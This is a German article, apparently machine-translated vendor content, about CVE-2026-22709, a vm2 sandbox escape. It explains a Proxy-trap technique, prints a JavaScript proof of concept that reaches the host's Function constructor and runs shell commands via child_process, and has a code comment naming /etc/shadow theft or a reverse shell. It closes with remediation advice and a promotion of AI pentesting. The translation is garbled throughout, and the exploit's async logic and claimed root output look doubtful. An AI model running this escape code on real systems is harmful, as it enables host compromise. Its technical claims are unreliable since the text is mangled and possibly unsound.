Einführung
Es ist der 28. Januar 2026. Die Cybersicherheits-Community hat wieder einmal mit einem Geist aus der Vergangenheit zu kämpfen. Obwohl die bekannte Node.js-Sandbox-Bibliothek, vm2offiziell im Jahr 2023 zum End-of-Life (EOL) erklärt wurde, ist die Realität der Unternehmenssoftware eindeutig: Legacy-Abhängigkeiten sterben nie wirklich. CVE-2026-22709 hat sich als eine kritische Erinnerung an diese Tatsache erwiesen.
Mit einer CVSS-Punktzahl von 9.8Diese Schwachstelle ist nicht nur eine Warnung, sondern ein komplettes Systemverletzungsereignis, das auf sich warten lässt. Dieser Artikel dient als maßgeblicher technischer Leitfaden für Sicherheitsingenieure und zeigt auf, wie diese neue "Async Proxy Trap"-Technik die Sandbox-Mechanismen von vm2 auf modernen Node.js-Laufzeiten (v24/v25).

Was ist CVE-2026-22709?
CVE-2026-22709 ist eine Sandkasten-Flucht Schwachstelle, die dazu führt, dass Entfernte Code-Ausführung (RCE).
Das Kernproblem liegt in der grundlegenden Architektur der vm2. Die Bibliothek stützt sich auf Vertretungen um Objekte zu bereinigen, die die Grenze zwischen der "Sandbox" (nicht vertrauenswürdig) und dem "Host" (vertrauenswürdig) überschreiten. Mit der Einführung aggressiver asynchroner Stack-Trace-Optimierungen in Node.js 24 und 25 legt die V8-Engine jedoch während der Ausnahmebehandlung interne Objektzustände offen, die vm2-die seit Jahren nicht mehr aktualisiert wurde, weiß nicht, wie sie zu desinfizieren ist.
Das Anfälligkeitsprofil
- Schwachstelle: Unsachgemäße Behandlung von asynchronen Ausnahmen über Proxy.
- Schweregrad: Kritisch (CVSS 9.8).
- Vektor: Netzwerk / Fernbedienung.
- Auswirkungen: Vollständige Host-Kompromittierung.
Technische Vertiefung: Die Anatomie der Flucht
Um den Exploit zu verstehen, müssen Sie das "Proxy Trap"-Muster verstehen. In JavaScript wird ein Vollmacht ermöglicht das Abfangen grundlegender Vorgänge (wie die Suche nach Eigenschaften, Funktionsaufrufe usw.).
vm2 versucht, jedes Objekt, das an die Sandbox zurückgegeben wird, in einen Proxy zu verpacken, um den Zugriff auf den Host Funktion Konstrukteur. Wenn ein Angreifer Zugriff auf den Host Funktion Konstruktor, können sie ausgeführt werden:
const rce = new Function("return process")();
und Zugriff auf das Hostsystem zu erhalten.
Die Mechanik der Umgehungsstraße 2026
- Der Auslöser: Der Angreifer erstellt eine bösartige
VollmachtObjekt innerhalb der Sandbox. - Die Async-Lücke: Der Angreifer löst einen asynchronen Fehler aus (z.B.,
Promise.reject(bösartigerProxy)). - Das Leck: In Node.js 25+ ist die interne
AsyncResourcedie Verarbeitungslogik versucht, das Fehlerobjekt für die Stack-Trace-Erzeugung zu untersuchen vor Weitergabe an dievm2Ausnahme Desinfektionsmittel. - Die Ausführung: Der bösartige Proxy fängt diese Inspektion ab (insbesondere die
erhalten.Trap für stapelbezogene Eigenschaften) und gibt eine Funktion zurück, die in der Host-Kontext.
Da der Code während der V8-internen Verarbeitung im Host-Kontext ausgeführt wird, ist die vm2 Die Sandkastenregeln gelten nicht.

Der Exploit-Code (POC)
Der folgende Code demonstriert die Logik von CVE-2026-22709. Er verwendet eine verschachtelte Proxy-Struktur, um die Serialisierungslogik der Host-Umgebung zu verwirren.
JavaScript
`/* * CVE-2026-22709 Proof of Concept
- Ziel: Systeme, auf denen vm2 (jede Version) unter Node.js >= 24.x läuft */
const { VM } = require('vm2'); const vm = new VM();
const exploitPayload = ` const pwn = new Proxy({}, { get: (target, prop) => { // Abfangen des 'stack'-Zugriffs, der während der Fehlerserialisierung stattfindet if (prop === 'stack') { throw new Proxy({}, { get: (t, p) => { // Dieser Trap läuft aufgrund des asynchronen Lecks im Host-Kontext
// Zugriff auf den Funktionskonstruktor des Hosts
// Der heilige Gral der Sandbox-Eskapaden
const x = (async function(){}).constructor;
// Nutzlast: Exfiltrieren von /etc/shadow oder Ausführen einer Reverse Shell
return x("return process.mainModule.require('child_process').execSync('id').toString()")();
}
});
}
}
});
try {
// Erzwingen einer asynchronen Ablehnung, um die asynchrone Stack-Trace-Logik von V8 auszulösen
Promise.reject(pwn);
} catch(e) {}
`;
try { console.log("[*] Launching VM2 Sandbox..."); vm.run(exploitPayload); } catch (e) { console.log("[!] Sandbox Escape Triggered. Output from Host:"); console.log(e); // 'uid=0(root) gid=0(root)...' }`

Wiedergutmachung: Der einzige Weg nach vorn
Wenn Sie ein Sicherheitsingenieur sind, der dies im Jahr 2026 liest und Ihre Organisation immer noch mit vm2Wenn Sie eine kritische Sicherheitslücke als Merkmal verwenden, ist das im Grunde genommen eine Funktion.
Sofortige Maßnahmen:
- Prüfung: Scannen Sie Ihre Abhängigkeitsstrukturen (
npm list vm2) sofort. - Ersetzen Sie: Es gibt keinen Patch für
vm2. Sie müssen umstrukturieren.- Verwenden Sie
isoliert-vm: Diese Bibliothek verwendet V8 Isolates (C++ Bindungen), um eine speicherresistente Isolation zu gewährleisten. Sie ist wesentlich sicherer alsvm2die kontextbezogene Isolierung. - Deno verwenden: Das Sicherheitsmodell von Deno ist auf der Laufzeitebene integriert. Die Ausführung von nicht vertrauenswürdigem Code in einem Deno-Unterprozess mit eingeschränkten Rechten (
-allow-none) ist der Goldstandard im Jahr 2026.
- Verwenden Sie
Die Rolle der KI bei der Erkennung von Altlastenrisiken
Das Wiederaufleben der vm2 Schwachstellen weist auf eine Schwachstelle in modernen DevSecOps hin: Eine statische Analyse reicht nicht aus.
Ein standardmäßiger Schwachstellenscanner könnte Folgendes anzeigen vm2 als "veraltet" eingestuft, aber Entwickler ignorieren diese Warnungen oft, wenn der Code "noch funktioniert". Dies ist der Punkt, an dem Agentische Sicherheit kritisch wird.
Einsatz von Penligent für die kontinuierliche Validierung
Penligent.ai steht für den Übergang vom passiven Scannen zur aktiven Überprüfung. Ein KI-Pentester prüft nicht nur Versionsnummern, er denkt wie ein Angreifer.
Im Fall von CVE-2026-22709 wurde ein Sträflich Agent würde:
- Analysieren Sie die Laufzeitumgebung: Erkennen Sie, dass Sie eine veraltete Bibliothek auf einer aktuellen Node.js-Version verwenden (eine gefährliche Kombination).
- Versuchen Sie den Exploit: Der Agent würde eine Variante des obigen POC sicher in Ihrer Staging-Umgebung einsetzen.
- Beweisen Sie das Risiko: Statt einer theoretischen Warnung erhalten Sie einen Bericht, aus dem hervorgeht, dass der Agent erfolgreich eine Datei aus dem Host-Betriebssystem gelesen hat.
Dieser fähigkeitsorientierte Ansatz stellt sicher, dass "Zombie"-Bibliotheken wie vm2 erkannt und entfernt werden, bevor sie von böswilligen Akteuren ausgenutzt werden können.
Schlussfolgerung
CVE-2026-22709 ist ein Beweis für die Langlebigkeit von technischen Schulden. In der schnelllebigen Welt von JavaScript ist das Verlassen auf nicht gewartete Sicherheitsgrenzen eine Garantie für das Scheitern.
Für den Hardcore-KI-Sicherheitsingenieur ist die Lektion klar: Vertraue nichts, was einen veränderbaren Kontext mit deinem Host teilt. Überprüfen Sie alles. Und wenn die menschliche Bandbreite nicht mit der Ausbreitung von Legacy-Abhängigkeiten mithalten kann, sollten Sie Ihr Team mit KI-gesteuerten offensiven Tests ausstatten, um zu erkennen, was andere übersehen.
Relevante Ressourcen und Referenzen
- NIST NVD: CVE-2023-32314 - Der historische Vorläufer der modernen vm2-Exploits.
- Penligent-Blog: Das Aufkommen von Agentic Pentesting - Wie KI die Landschaft der Schwachstellenerkennung verändert.
- GitHub: isoliert-vm - Der empfohlene Ersatz für sicheres Sandboxing.
- Node.js Sicherheit Best Practices - Offizielle Anleitung zur Ausführung von nicht vertrauenswürdigem Code.
- Penligent Forschung: Automatisierte Erkennung von Sandbox-Ausbrüchen - Tiefes Eintauchen in die Art und Weise, wie unsere Agenten Isolationsschichten fuzzen.

